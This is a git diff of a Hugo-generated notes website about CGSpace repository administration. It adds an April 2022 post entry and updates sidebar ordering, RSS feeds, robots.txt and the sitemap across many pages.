                                                                                                                                                                    6. +
                                                                                                                                                                    7. March, 2022
                                                                                                                                                                    8. February, 2022
                                                                                                                                                                    9. diff --git a/docs/categories/notes/page/3/index.html b/docs/categories/notes/page/3/index.html index 1612f051a..3c05f6f29 100644 --- a/docs/categories/notes/page/3/index.html +++ b/docs/categories/notes/page/3/index.html @@ -10,14 +10,14 @@ - + - + @@ -404,9 +404,9 @@
                                                                                                                                                                        -
                                                                                                                                                                      1. March, 2022
                                                                                                                                                                      2. +
                                                                                                                                                                      3. April, 2022
                                                                                                                                                                      4. -
                                                                                                                                                                      5. April, 2022
                                                                                                                                                                      6. +
                                                                                                                                                                      7. March, 2022
                                                                                                                                                                      8. February, 2022
                                                                                                                                                                      9. diff --git a/docs/categories/notes/page/4/index.html b/docs/categories/notes/page/4/index.html index 7ad9f5b1e..cd98ee051 100644 --- a/docs/categories/notes/page/4/index.html +++ b/docs/categories/notes/page/4/index.html @@ -10,14 +10,14 @@ - + - + @@ -429,9 +429,9 @@ $ ./delete-metadata-values.py -i /tmp/2019-02-21-delete-1-region.csv -db dspace
                                                                                                                                                                          -
                                                                                                                                                                        1. March, 2022
                                                                                                                                                                        2. +
                                                                                                                                                                        3. April, 2022
                                                                                                                                                                        4. -
                                                                                                                                                                        5. April, 2022
                                                                                                                                                                        6. +
                                                                                                                                                                        7. March, 2022
                                                                                                                                                                        8. February, 2022
                                                                                                                                                                        9. diff --git a/docs/categories/notes/page/5/index.html b/docs/categories/notes/page/5/index.html index de12161c7..fa909e40e 100644 --- a/docs/categories/notes/page/5/index.html +++ b/docs/categories/notes/page/5/index.html @@ -10,14 +10,14 @@ - + - + @@ -408,9 +408,9 @@ sys 2m7.289s
                                                                                                                                                                            -
                                                                                                                                                                          1. March, 2022
                                                                                                                                                                          2. +
                                                                                                                                                                          3. April, 2022
                                                                                                                                                                          4. -
                                                                                                                                                                          5. April, 2022
                                                                                                                                                                          6. +
                                                                                                                                                                          7. March, 2022
                                                                                                                                                                          8. February, 2022
                                                                                                                                                                          9. diff --git a/docs/categories/notes/page/6/index.html b/docs/categories/notes/page/6/index.html index 0eb3e35a2..4c991788d 100644 --- a/docs/categories/notes/page/6/index.html +++ b/docs/categories/notes/page/6/index.html @@ -10,14 +10,14 @@ - + - + @@ -358,9 +358,9 @@ COPY 54701
                                                                                                                                                                              -
                                                                                                                                                                            1. March, 2022
                                                                                                                                                                            2. +
                                                                                                                                                                            3. April, 2022
                                                                                                                                                                            4. -
                                                                                                                                                                            5. April, 2022
                                                                                                                                                                            6. +
                                                                                                                                                                            7. March, 2022
                                                                                                                                                                            8. February, 2022
                                                                                                                                                                            9. diff --git a/docs/cgiar-library-migration/index.html b/docs/cgiar-library-migration/index.html index ed69b1eac..470540e82 100644 --- a/docs/cgiar-library-migration/index.html +++ b/docs/cgiar-library-migration/index.html @@ -18,7 +18,7 @@ - + @@ -282,9 +282,9 @@ dspace=# select setval('handle_seq',86873);
                                                                                                                                                                                -
                                                                                                                                                                              1. March, 2022
                                                                                                                                                                              2. +
                                                                                                                                                                              3. April, 2022
                                                                                                                                                                              4. -
                                                                                                                                                                              5. April, 2022
                                                                                                                                                                              6. +
                                                                                                                                                                              7. March, 2022
                                                                                                                                                                              8. February, 2022
                                                                                                                                                                              9. diff --git a/docs/cgspace-cgcorev2-migration/index.html b/docs/cgspace-cgcorev2-migration/index.html index 609a9532d..c8c005260 100644 --- a/docs/cgspace-cgcorev2-migration/index.html +++ b/docs/cgspace-cgcorev2-migration/index.html @@ -18,7 +18,7 @@ - + @@ -467,9 +467,9 @@
                                                                                                                                                                                  -
                                                                                                                                                                                1. March, 2022
                                                                                                                                                                                2. +
                                                                                                                                                                                3. April, 2022
                                                                                                                                                                                4. -
                                                                                                                                                                                5. April, 2022
                                                                                                                                                                                6. +
                                                                                                                                                                                7. March, 2022
                                                                                                                                                                                8. February, 2022
                                                                                                                                                                                9. diff --git a/docs/cgspace-dspace6-upgrade/index.html b/docs/cgspace-dspace6-upgrade/index.html index 217c9147f..67f0d693b 100644 --- a/docs/cgspace-dspace6-upgrade/index.html +++ b/docs/cgspace-dspace6-upgrade/index.html @@ -18,7 +18,7 @@ - + @@ -471,9 +471,9 @@
                                                                                                                                                                                    -
                                                                                                                                                                                  1. March, 2022
                                                                                                                                                                                  2. +
                                                                                                                                                                                  3. April, 2022
                                                                                                                                                                                  4. -
                                                                                                                                                                                  5. April, 2022
                                                                                                                                                                                  6. +
                                                                                                                                                                                  7. March, 2022
                                                                                                                                                                                  8. February, 2022
                                                                                                                                                                                  9. diff --git a/docs/index.html b/docs/index.html index b08412a49..785076329 100644 --- a/docs/index.html +++ b/docs/index.html @@ -10,14 +10,14 @@ - + - + @@ -31,7 +31,7 @@ "@type": "Person", "name": "Alan Orth" }, - "dateModified": "2022-03-01T16:46:54+03:00", + "dateModified": "2022-04-01T10:53:39+03:00", "keywords": "notes, migration, notes", "description":"Documenting day-to-day work on the [CGSpace](https://cgspace.cgiar.org) repository." } @@ -96,6 +96,24 @@ +
                                                                                                                                                                                    +
                                                                                                                                                                                    +

                                                                                                                                                                                    April, 2022

                                                                                                                                                                                    + +
                                                                                                                                                                                    + 2022-04-01 I did G1GC tests on DSpace Test (linode26) to compliment the CMS tests I did yesterday The Discovery indexing took this long: real 334m33.625s user 227m51.331s sys 3m43.037s 2022-04-04 Start a full harvest on AReS Help Marianne with submit/approve access on a new collection on CGSpace Go back in Gaia’s batch reports to find records that she indicated for replacing on CGSpace (ie, those with better new copies, new versions, etc) Looking at the Solr statistics for 2022-03 on CGSpace I see 54. + Read more → +
                                                                                                                                                                                    + + + + + +

                                                                                                                                                                                    March, 2022

                                                                                                                                                                                    @@ -122,24 +140,6 @@ -
                                                                                                                                                                                    -
                                                                                                                                                                                    -

                                                                                                                                                                                    April, 2022

                                                                                                                                                                                    - -
                                                                                                                                                                                    - 2022-04-01 I did G1GC tests on DSpace Test (linode26) to compliment the CMS tests I did yesterday The Discovery indexing took this long: real 334m33.625s user 227m51.331s sys 3m43.037s 2022-04-04 Start a full harvest on AReS Help Marianne with submit/approve access on a new collection on CGSpace Go back in Gaia’s batch reports to find records that she indicated for replacing on CGSpace (ie, those with better new copies, new versions, etc) Looking at the Solr statistics for 2022-03 on CGSpace I see 54. - Read more → -
                                                                                                                                                                                    - - - - - -

                                                                                                                                                                                    February, 2022

                                                                                                                                                                                    @@ -380,9 +380,9 @@
                                                                                                                                                                                      -
                                                                                                                                                                                    1. March, 2022
                                                                                                                                                                                    2. +
                                                                                                                                                                                    3. April, 2022
                                                                                                                                                                                    4. -
                                                                                                                                                                                    5. April, 2022
                                                                                                                                                                                    6. +
                                                                                                                                                                                    7. March, 2022
                                                                                                                                                                                    8. February, 2022
                                                                                                                                                                                    9. diff --git a/docs/index.xml b/docs/index.xml index 2b03396b1..6de35547f 100644 --- a/docs/index.xml +++ b/docs/index.xml @@ -6,7 +6,16 @@ Recent content on CGSpace Notes Hugo -- gohugo.io en-us - Tue, 01 Mar 2022 16:46:54 +0300 + Fri, 01 Apr 2022 10:53:39 +0300 + + April, 2022 + https://alanorth.github.io/cgspace-notes/2022-04/ + Fri, 01 Apr 2022 10:53:39 +0300 + + https://alanorth.github.io/cgspace-notes/2022-04/ + 2022-04-01 I did G1GC tests on DSpace Test (linode26) to compliment the CMS tests I did yesterday The Discovery indexing took this long: real 334m33.625s user 227m51.331s sys 3m43.037s 2022-04-04 Start a full harvest on AReS Help Marianne with submit/approve access on a new collection on CGSpace Go back in Gaia&rsquo;s batch reports to find records that she indicated for replacing on CGSpace (ie, those with better new copies, new versions, etc) Looking at the Solr statistics for 2022-03 on CGSpace I see 54. + + March, 2022 https://alanorth.github.io/cgspace-notes/2022-03/ @@ -24,15 +33,6 @@ </span></span></code></pre></div> - - April, 2022 - https://alanorth.github.io/cgspace-notes/2022-03/ - Tue, 01 Mar 2022 10:53:39 +0300 - - https://alanorth.github.io/cgspace-notes/2022-03/ - 2022-04-01 I did G1GC tests on DSpace Test (linode26) to compliment the CMS tests I did yesterday The Discovery indexing took this long: real 334m33.625s user 227m51.331s sys 3m43.037s 2022-04-04 Start a full harvest on AReS Help Marianne with submit/approve access on a new collection on CGSpace Go back in Gaia&rsquo;s batch reports to find records that she indicated for replacing on CGSpace (ie, those with better new copies, new versions, etc) Looking at the Solr statistics for 2022-03 on CGSpace I see 54. - - February, 2022 https://alanorth.github.io/cgspace-notes/2022-02/ diff --git a/docs/page/2/index.html b/docs/page/2/index.html index 78eef02da..67bee93e3 100644 --- a/docs/page/2/index.html +++ b/docs/page/2/index.html @@ -10,14 +10,14 @@ - + - + @@ -31,7 +31,7 @@ "@type": "Person", "name": "Alan Orth" }, - "dateModified": "2022-03-01T16:46:54+03:00", + "dateModified": "2022-04-01T10:53:39+03:00", "keywords": "notes, migration, notes", "description":"Documenting day-to-day work on the [CGSpace](https://cgspace.cgiar.org) repository." } @@ -396,9 +396,9 @@
                                                                                                                                                                                        -
                                                                                                                                                                                      1. March, 2022
                                                                                                                                                                                      2. +
                                                                                                                                                                                      3. April, 2022
                                                                                                                                                                                      4. -
                                                                                                                                                                                      5. April, 2022
                                                                                                                                                                                      6. +
                                                                                                                                                                                      7. March, 2022
                                                                                                                                                                                      8. February, 2022
                                                                                                                                                                                      9. diff --git a/docs/page/3/index.html b/docs/page/3/index.html index 992c7afe9..0db5ab138 100644 --- a/docs/page/3/index.html +++ b/docs/page/3/index.html @@ -10,14 +10,14 @@ - + - + @@ -31,7 +31,7 @@ "@type": "Person", "name": "Alan Orth" }, - "dateModified": "2022-03-01T16:46:54+03:00", + "dateModified": "2022-04-01T10:53:39+03:00", "keywords": "notes, migration, notes", "description":"Documenting day-to-day work on the [CGSpace](https://cgspace.cgiar.org) repository." } @@ -419,9 +419,9 @@
                                                                                                                                                                                          -
                                                                                                                                                                                        1. March, 2022
                                                                                                                                                                                        2. +
                                                                                                                                                                                        3. April, 2022
                                                                                                                                                                                        4. -
                                                                                                                                                                                        5. April, 2022
                                                                                                                                                                                        6. +
                                                                                                                                                                                        7. March, 2022
                                                                                                                                                                                        8. February, 2022
                                                                                                                                                                                        9. diff --git a/docs/page/4/index.html b/docs/page/4/index.html index c74853c2d..3e8090fec 100644 --- a/docs/page/4/index.html +++ b/docs/page/4/index.html @@ -10,14 +10,14 @@ - + - + @@ -31,7 +31,7 @@ "@type": "Person", "name": "Alan Orth" }, - "dateModified": "2022-03-01T16:46:54+03:00", + "dateModified": "2022-04-01T10:53:39+03:00", "keywords": "notes, migration, notes", "description":"Documenting day-to-day work on the [CGSpace](https://cgspace.cgiar.org) repository." } @@ -444,9 +444,9 @@ $ ./delete-metadata-values.py -i /tmp/2019-02-21-delete-1-region.csv -db dspace
                                                                                                                                                                                            -
                                                                                                                                                                                          1. March, 2022
                                                                                                                                                                                          2. +
                                                                                                                                                                                          3. April, 2022
                                                                                                                                                                                          4. -
                                                                                                                                                                                          5. April, 2022
                                                                                                                                                                                          6. +
                                                                                                                                                                                          7. March, 2022
                                                                                                                                                                                          8. February, 2022
                                                                                                                                                                                          9. diff --git a/docs/page/5/index.html b/docs/page/5/index.html index cd96e221f..dad4c62f6 100644 --- a/docs/page/5/index.html +++ b/docs/page/5/index.html @@ -10,14 +10,14 @@ - + - + @@ -31,7 +31,7 @@ "@type": "Person", "name": "Alan Orth" }, - "dateModified": "2022-03-01T16:46:54+03:00", + "dateModified": "2022-04-01T10:53:39+03:00", "keywords": "notes, migration, notes", "description":"Documenting day-to-day work on the [CGSpace](https://cgspace.cgiar.org) repository." } @@ -423,9 +423,9 @@ sys 2m7.289s
                                                                                                                                                                                              -
                                                                                                                                                                                            1. March, 2022
                                                                                                                                                                                            2. +
                                                                                                                                                                                            3. April, 2022
                                                                                                                                                                                            4. -
                                                                                                                                                                                            5. April, 2022
                                                                                                                                                                                            6. +
                                                                                                                                                                                            7. March, 2022
                                                                                                                                                                                            8. February, 2022
                                                                                                                                                                                            9. diff --git a/docs/page/6/index.html b/docs/page/6/index.html index e644c9da7..c7b794b22 100644 --- a/docs/page/6/index.html +++ b/docs/page/6/index.html @@ -10,14 +10,14 @@ - + - + @@ -31,7 +31,7 @@ "@type": "Person", "name": "Alan Orth" }, - "dateModified": "2022-03-01T16:46:54+03:00", + "dateModified": "2022-04-01T10:53:39+03:00", "keywords": "notes, migration, notes", "description":"Documenting day-to-day work on the [CGSpace](https://cgspace.cgiar.org) repository." } @@ -437,9 +437,9 @@ COPY 54701
                                                                                                                                                                                                -
                                                                                                                                                                                              1. March, 2022
                                                                                                                                                                                              2. +
                                                                                                                                                                                              3. April, 2022
                                                                                                                                                                                              4. -
                                                                                                                                                                                              5. April, 2022
                                                                                                                                                                                              6. +
                                                                                                                                                                                              7. March, 2022
                                                                                                                                                                                              8. February, 2022
                                                                                                                                                                                              9. diff --git a/docs/page/7/index.html b/docs/page/7/index.html index 7840c814a..72fbe8d92 100644 --- a/docs/page/7/index.html +++ b/docs/page/7/index.html @@ -10,14 +10,14 @@ - + - + @@ -31,7 +31,7 @@ "@type": "Person", "name": "Alan Orth" }, - "dateModified": "2022-03-01T16:46:54+03:00", + "dateModified": "2022-04-01T10:53:39+03:00", "keywords": "notes, migration, notes", "description":"Documenting day-to-day work on the [CGSpace](https://cgspace.cgiar.org) repository." } @@ -388,9 +388,9 @@ DELETE 1
                                                                                                                                                                                                  -
                                                                                                                                                                                                1. March, 2022
                                                                                                                                                                                                2. +
                                                                                                                                                                                                3. April, 2022
                                                                                                                                                                                                4. -
                                                                                                                                                                                                5. April, 2022
                                                                                                                                                                                                6. +
                                                                                                                                                                                                7. March, 2022
                                                                                                                                                                                                8. February, 2022
                                                                                                                                                                                                9. diff --git a/docs/page/8/index.html b/docs/page/8/index.html index ef638dd82..9a11ff26a 100644 --- a/docs/page/8/index.html +++ b/docs/page/8/index.html @@ -10,14 +10,14 @@ - + - + @@ -31,7 +31,7 @@ "@type": "Person", "name": "Alan Orth" }, - "dateModified": "2022-03-01T16:46:54+03:00", + "dateModified": "2022-04-01T10:53:39+03:00", "keywords": "notes, migration, notes", "description":"Documenting day-to-day work on the [CGSpace](https://cgspace.cgiar.org) repository." } @@ -384,9 +384,9 @@ dspacetest=# select text_value from metadatavalue where metadata_field_id=3 and
                                                                                                                                                                                                    -
                                                                                                                                                                                                  1. March, 2022
                                                                                                                                                                                                  2. +
                                                                                                                                                                                                  3. April, 2022
                                                                                                                                                                                                  4. -
                                                                                                                                                                                                  5. April, 2022
                                                                                                                                                                                                  6. +
                                                                                                                                                                                                  7. March, 2022
                                                                                                                                                                                                  8. February, 2022
                                                                                                                                                                                                  9. diff --git a/docs/page/9/index.html b/docs/page/9/index.html index e2c4e739d..4b45b920e 100644 --- a/docs/page/9/index.html +++ b/docs/page/9/index.html @@ -10,14 +10,14 @@ - + - + @@ -31,7 +31,7 @@ "@type": "Person", "name": "Alan Orth" }, - "dateModified": "2022-03-01T16:46:54+03:00", + "dateModified": "2022-04-01T10:53:39+03:00", "keywords": "notes, migration, notes", "description":"Documenting day-to-day work on the [CGSpace](https://cgspace.cgiar.org) repository." } @@ -145,9 +145,9 @@
                                                                                                                                                                                                      -
                                                                                                                                                                                                    1. March, 2022
                                                                                                                                                                                                    2. +
                                                                                                                                                                                                    3. April, 2022
                                                                                                                                                                                                    4. -
                                                                                                                                                                                                    5. April, 2022
                                                                                                                                                                                                    6. +
                                                                                                                                                                                                    7. March, 2022
                                                                                                                                                                                                    8. February, 2022
                                                                                                                                                                                                    9. diff --git a/docs/posts/index.html b/docs/posts/index.html index 8001303e8..1fdc5e0fa 100644 --- a/docs/posts/index.html +++ b/docs/posts/index.html @@ -10,14 +10,14 @@ - + - + @@ -31,7 +31,7 @@ "@type": "Person", "name": "Alan Orth" }, - "dateModified": "2022-03-01T16:46:54+03:00", + "dateModified": "2022-04-01T10:53:39+03:00", "keywords": "notes, migration, notes", "description":"Documenting day-to-day work on the [CGSpace](https://cgspace.cgiar.org) repository." } @@ -96,6 +96,24 @@ +
                                                                                                                                                                                                      +
                                                                                                                                                                                                      +

                                                                                                                                                                                                      April, 2022

                                                                                                                                                                                                      + +
                                                                                                                                                                                                      + 2022-04-01 I did G1GC tests on DSpace Test (linode26) to compliment the CMS tests I did yesterday The Discovery indexing took this long: real 334m33.625s user 227m51.331s sys 3m43.037s 2022-04-04 Start a full harvest on AReS Help Marianne with submit/approve access on a new collection on CGSpace Go back in Gaia’s batch reports to find records that she indicated for replacing on CGSpace (ie, those with better new copies, new versions, etc) Looking at the Solr statistics for 2022-03 on CGSpace I see 54. + Read more → +
                                                                                                                                                                                                      + + + + + +

                                                                                                                                                                                                      March, 2022

                                                                                                                                                                                                      @@ -122,24 +140,6 @@ -
                                                                                                                                                                                                      -
                                                                                                                                                                                                      -

                                                                                                                                                                                                      April, 2022

                                                                                                                                                                                                      - -
                                                                                                                                                                                                      - 2022-04-01 I did G1GC tests on DSpace Test (linode26) to compliment the CMS tests I did yesterday The Discovery indexing took this long: real 334m33.625s user 227m51.331s sys 3m43.037s 2022-04-04 Start a full harvest on AReS Help Marianne with submit/approve access on a new collection on CGSpace Go back in Gaia’s batch reports to find records that she indicated for replacing on CGSpace (ie, those with better new copies, new versions, etc) Looking at the Solr statistics for 2022-03 on CGSpace I see 54. - Read more → -
                                                                                                                                                                                                      - - - - - -

                                                                                                                                                                                                      February, 2022

                                                                                                                                                                                                      @@ -380,9 +380,9 @@
                                                                                                                                                                                                        -
                                                                                                                                                                                                      1. March, 2022
                                                                                                                                                                                                      2. +
                                                                                                                                                                                                      3. April, 2022
                                                                                                                                                                                                      4. -
                                                                                                                                                                                                      5. April, 2022
                                                                                                                                                                                                      6. +
                                                                                                                                                                                                      7. March, 2022
                                                                                                                                                                                                      8. February, 2022
                                                                                                                                                                                                      9. diff --git a/docs/posts/index.xml b/docs/posts/index.xml index 22bcc06c6..a4b96d859 100644 --- a/docs/posts/index.xml +++ b/docs/posts/index.xml @@ -6,7 +6,16 @@ Recent content in Posts on CGSpace Notes Hugo -- gohugo.io en-us - Tue, 01 Mar 2022 16:46:54 +0300 + Fri, 01 Apr 2022 10:53:39 +0300 + + April, 2022 + https://alanorth.github.io/cgspace-notes/2022-04/ + Fri, 01 Apr 2022 10:53:39 +0300 + + https://alanorth.github.io/cgspace-notes/2022-04/ + 2022-04-01 I did G1GC tests on DSpace Test (linode26) to compliment the CMS tests I did yesterday The Discovery indexing took this long: real 334m33.625s user 227m51.331s sys 3m43.037s 2022-04-04 Start a full harvest on AReS Help Marianne with submit/approve access on a new collection on CGSpace Go back in Gaia&rsquo;s batch reports to find records that she indicated for replacing on CGSpace (ie, those with better new copies, new versions, etc) Looking at the Solr statistics for 2022-03 on CGSpace I see 54. + + March, 2022 https://alanorth.github.io/cgspace-notes/2022-03/ @@ -24,15 +33,6 @@ </span></span></code></pre></div> - - April, 2022 - https://alanorth.github.io/cgspace-notes/2022-03/ - Tue, 01 Mar 2022 10:53:39 +0300 - - https://alanorth.github.io/cgspace-notes/2022-03/ - 2022-04-01 I did G1GC tests on DSpace Test (linode26) to compliment the CMS tests I did yesterday The Discovery indexing took this long: real 334m33.625s user 227m51.331s sys 3m43.037s 2022-04-04 Start a full harvest on AReS Help Marianne with submit/approve access on a new collection on CGSpace Go back in Gaia&rsquo;s batch reports to find records that she indicated for replacing on CGSpace (ie, those with better new copies, new versions, etc) Looking at the Solr statistics for 2022-03 on CGSpace I see 54. - - February, 2022 https://alanorth.github.io/cgspace-notes/2022-02/ diff --git a/docs/posts/page/2/index.html b/docs/posts/page/2/index.html index 01281faa3..18a53bd74 100644 --- a/docs/posts/page/2/index.html +++ b/docs/posts/page/2/index.html @@ -10,14 +10,14 @@ - + - + @@ -31,7 +31,7 @@ "@type": "Person", "name": "Alan Orth" }, - "dateModified": "2022-03-01T16:46:54+03:00", + "dateModified": "2022-04-01T10:53:39+03:00", "keywords": "notes, migration, notes", "description":"Documenting day-to-day work on the [CGSpace](https://cgspace.cgiar.org) repository." } @@ -396,9 +396,9 @@
                                                                                                                                                                                                          -
                                                                                                                                                                                                        1. March, 2022
                                                                                                                                                                                                        2. +
                                                                                                                                                                                                        3. April, 2022
                                                                                                                                                                                                        4. -
                                                                                                                                                                                                        5. April, 2022
                                                                                                                                                                                                        6. +
                                                                                                                                                                                                        7. March, 2022
                                                                                                                                                                                                        8. February, 2022
                                                                                                                                                                                                        9. diff --git a/docs/posts/page/3/index.html b/docs/posts/page/3/index.html index 2549bfbb4..42ca7e23a 100644 --- a/docs/posts/page/3/index.html +++ b/docs/posts/page/3/index.html @@ -10,14 +10,14 @@ - + - + @@ -31,7 +31,7 @@ "@type": "Person", "name": "Alan Orth" }, - "dateModified": "2022-03-01T16:46:54+03:00", + "dateModified": "2022-04-01T10:53:39+03:00", "keywords": "notes, migration, notes", "description":"Documenting day-to-day work on the [CGSpace](https://cgspace.cgiar.org) repository." } @@ -419,9 +419,9 @@
                                                                                                                                                                                                            -
                                                                                                                                                                                                          1. March, 2022
                                                                                                                                                                                                          2. +
                                                                                                                                                                                                          3. April, 2022
                                                                                                                                                                                                          4. -
                                                                                                                                                                                                          5. April, 2022
                                                                                                                                                                                                          6. +
                                                                                                                                                                                                          7. March, 2022
                                                                                                                                                                                                          8. February, 2022
                                                                                                                                                                                                          9. diff --git a/docs/posts/page/4/index.html b/docs/posts/page/4/index.html index 59293c88e..d54e057c1 100644 --- a/docs/posts/page/4/index.html +++ b/docs/posts/page/4/index.html @@ -10,14 +10,14 @@ - + - + @@ -31,7 +31,7 @@ "@type": "Person", "name": "Alan Orth" }, - "dateModified": "2022-03-01T16:46:54+03:00", + "dateModified": "2022-04-01T10:53:39+03:00", "keywords": "notes, migration, notes", "description":"Documenting day-to-day work on the [CGSpace](https://cgspace.cgiar.org) repository." } @@ -444,9 +444,9 @@ $ ./delete-metadata-values.py -i /tmp/2019-02-21-delete-1-region.csv -db dspace
                                                                                                                                                                                                              -
                                                                                                                                                                                                            1. March, 2022
                                                                                                                                                                                                            2. +
                                                                                                                                                                                                            3. April, 2022
                                                                                                                                                                                                            4. -
                                                                                                                                                                                                            5. April, 2022
                                                                                                                                                                                                            6. +
                                                                                                                                                                                                            7. March, 2022
                                                                                                                                                                                                            8. February, 2022
                                                                                                                                                                                                            9. diff --git a/docs/posts/page/5/index.html b/docs/posts/page/5/index.html index 857278e24..7898d0ce0 100644 --- a/docs/posts/page/5/index.html +++ b/docs/posts/page/5/index.html @@ -10,14 +10,14 @@ - + - + @@ -31,7 +31,7 @@ "@type": "Person", "name": "Alan Orth" }, - "dateModified": "2022-03-01T16:46:54+03:00", + "dateModified": "2022-04-01T10:53:39+03:00", "keywords": "notes, migration, notes", "description":"Documenting day-to-day work on the [CGSpace](https://cgspace.cgiar.org) repository." } @@ -423,9 +423,9 @@ sys 2m7.289s
                                                                                                                                                                                                                -
                                                                                                                                                                                                              1. March, 2022
                                                                                                                                                                                                              2. +
                                                                                                                                                                                                              3. April, 2022
                                                                                                                                                                                                              4. -
                                                                                                                                                                                                              5. April, 2022
                                                                                                                                                                                                              6. +
                                                                                                                                                                                                              7. March, 2022
                                                                                                                                                                                                              8. February, 2022
                                                                                                                                                                                                              9. diff --git a/docs/posts/page/6/index.html b/docs/posts/page/6/index.html index 1294c4e9d..86b9f4c27 100644 --- a/docs/posts/page/6/index.html +++ b/docs/posts/page/6/index.html @@ -10,14 +10,14 @@ - + - + @@ -31,7 +31,7 @@ "@type": "Person", "name": "Alan Orth" }, - "dateModified": "2022-03-01T16:46:54+03:00", + "dateModified": "2022-04-01T10:53:39+03:00", "keywords": "notes, migration, notes", "description":"Documenting day-to-day work on the [CGSpace](https://cgspace.cgiar.org) repository." } @@ -437,9 +437,9 @@ COPY 54701
                                                                                                                                                                                                                  -
                                                                                                                                                                                                                1. March, 2022
                                                                                                                                                                                                                2. +
                                                                                                                                                                                                                3. April, 2022
                                                                                                                                                                                                                4. -
                                                                                                                                                                                                                5. April, 2022
                                                                                                                                                                                                                6. +
                                                                                                                                                                                                                7. March, 2022
                                                                                                                                                                                                                8. February, 2022
                                                                                                                                                                                                                9. diff --git a/docs/posts/page/7/index.html b/docs/posts/page/7/index.html index fee3989f1..ab75a4ae1 100644 --- a/docs/posts/page/7/index.html +++ b/docs/posts/page/7/index.html @@ -10,14 +10,14 @@ - + - + @@ -31,7 +31,7 @@ "@type": "Person", "name": "Alan Orth" }, - "dateModified": "2022-03-01T16:46:54+03:00", + "dateModified": "2022-04-01T10:53:39+03:00", "keywords": "notes, migration, notes", "description":"Documenting day-to-day work on the [CGSpace](https://cgspace.cgiar.org) repository." } @@ -388,9 +388,9 @@ DELETE 1
                                                                                                                                                                                                                    -
                                                                                                                                                                                                                  1. March, 2022
                                                                                                                                                                                                                  2. +
                                                                                                                                                                                                                  3. April, 2022
                                                                                                                                                                                                                  4. -
                                                                                                                                                                                                                  5. April, 2022
                                                                                                                                                                                                                  6. +
                                                                                                                                                                                                                  7. March, 2022
                                                                                                                                                                                                                  8. February, 2022
                                                                                                                                                                                                                  9. diff --git a/docs/posts/page/8/index.html b/docs/posts/page/8/index.html index ccf6eb62b..3d6feb794 100644 --- a/docs/posts/page/8/index.html +++ b/docs/posts/page/8/index.html @@ -10,14 +10,14 @@ - + - + @@ -31,7 +31,7 @@ "@type": "Person", "name": "Alan Orth" }, - "dateModified": "2022-03-01T16:46:54+03:00", + "dateModified": "2022-04-01T10:53:39+03:00", "keywords": "notes, migration, notes", "description":"Documenting day-to-day work on the [CGSpace](https://cgspace.cgiar.org) repository." } @@ -384,9 +384,9 @@ dspacetest=# select text_value from metadatavalue where metadata_field_id=3 and
                                                                                                                                                                                                                      -
                                                                                                                                                                                                                    1. March, 2022
                                                                                                                                                                                                                    2. +
                                                                                                                                                                                                                    3. April, 2022
                                                                                                                                                                                                                    4. -
                                                                                                                                                                                                                    5. April, 2022
                                                                                                                                                                                                                    6. +
                                                                                                                                                                                                                    7. March, 2022
                                                                                                                                                                                                                    8. February, 2022
                                                                                                                                                                                                                    9. diff --git a/docs/posts/page/9/index.html b/docs/posts/page/9/index.html index 35256770d..6f0deae84 100644 --- a/docs/posts/page/9/index.html +++ b/docs/posts/page/9/index.html @@ -10,14 +10,14 @@ - + - + @@ -31,7 +31,7 @@ "@type": "Person", "name": "Alan Orth" }, - "dateModified": "2022-03-01T16:46:54+03:00", + "dateModified": "2022-04-01T10:53:39+03:00", "keywords": "notes, migration, notes", "description":"Documenting day-to-day work on the [CGSpace](https://cgspace.cgiar.org) repository." } @@ -145,9 +145,9 @@
                                                                                                                                                                                                                        -
                                                                                                                                                                                                                      1. March, 2022
                                                                                                                                                                                                                      2. +
                                                                                                                                                                                                                      3. April, 2022
                                                                                                                                                                                                                      4. -
                                                                                                                                                                                                                      5. April, 2022
                                                                                                                                                                                                                      6. +
                                                                                                                                                                                                                      7. March, 2022
                                                                                                                                                                                                                      8. February, 2022
                                                                                                                                                                                                                      9. diff --git a/docs/robots.txt b/docs/robots.txt index a008419cc..e6b39c479 100644 --- a/docs/robots.txt +++ b/docs/robots.txt @@ -1,9 +1,9 @@ User-agent: * +Disallow: /cgspace-notes/2022-04/ Disallow: /cgspace-notes/categories/ Disallow: /cgspace-notes/ -Disallow: /cgspace-notes/2022-03/ Disallow: /cgspace-notes/categories/notes/ Disallow: /cgspace-notes/posts/ Disallow: /cgspace-notes/2022-03/ diff --git a/docs/sitemap.xml b/docs/sitemap.xml index 90a684459..b8b8f7795 100644 --- a/docs/sitemap.xml +++ b/docs/sitemap.xml @@ -2,23 +2,23 @@ + https://alanorth.github.io/cgspace-notes/2022-04/ + 2022-04-27T08:44:10+03:00 + https://alanorth.github.io/cgspace-notes/categories/ - 2022-04-24T21:06:28+03:00 + 2022-04-27T08:44:10+03:00 https://alanorth.github.io/cgspace-notes/ - 2022-04-24T21:06:28+03:00 + 2022-04-27T08:44:10+03:00 + + https://alanorth.github.io/cgspace-notes/categories/notes/ + 2022-04-27T08:44:10+03:00 + + https://alanorth.github.io/cgspace-notes/posts/ + 2022-04-27T08:44:10+03:00 https://alanorth.github.io/cgspace-notes/2022-03/ 2022-04-04T19:15:58+03:00 - - https://alanorth.github.io/cgspace-notes/categories/notes/ - 2022-04-24T21:06:28+03:00 - - https://alanorth.github.io/cgspace-notes/posts/ - 2022-04-24T21:06:28+03:00 - - https://alanorth.github.io/cgspace-notes/2022-03/ - 2022-04-24T21:06:28+03:00 https://alanorth.github.io/cgspace-notes/2022-02/ 2022-03-01T17:17:27+03:00 diff --git a/docs/tags/index.html b/docs/tags/index.html index 0702410a0..c91f2e7fc 100644 --- a/docs/tags/index.html +++ b/docs/tags/index.html @@ -17,7 +17,7 @@ - + @@ -122,9 +122,9 @@
                                                                                                                                                                                                                          -
                                                                                                                                                                                                                        1. March, 2022
                                                                                                                                                                                                                        2. +
                                                                                                                                                                                                                        3. April, 2022
                                                                                                                                                                                                                        4. -
                                                                                                                                                                                                                        5. April, 2022
                                                                                                                                                                                                                        6. +
                                                                                                                                                                                                                        7. March, 2022
                                                                                                                                                                                                                        8. February, 2022
                                                                                                                                                                                                                        9. diff --git a/docs/tags/migration/index.html b/docs/tags/migration/index.html index 8b2dc3922..52cb6b60f 100644 --- a/docs/tags/migration/index.html +++ b/docs/tags/migration/index.html @@ -17,7 +17,7 @@ - + @@ -155,9 +155,9 @@
                                                                                                                                                                                                                            -
                                                                                                                                                                                                                          1. March, 2022
                                                                                                                                                                                                                          2. +
                                                                                                                                                                                                                          3. April, 2022
                                                                                                                                                                                                                          4. -
                                                                                                                                                                                                                          5. April, 2022
                                                                                                                                                                                                                          6. +
                                                                                                                                                                                                                          7. March, 2022
                                                                                                                                                                                                                          8. February, 2022
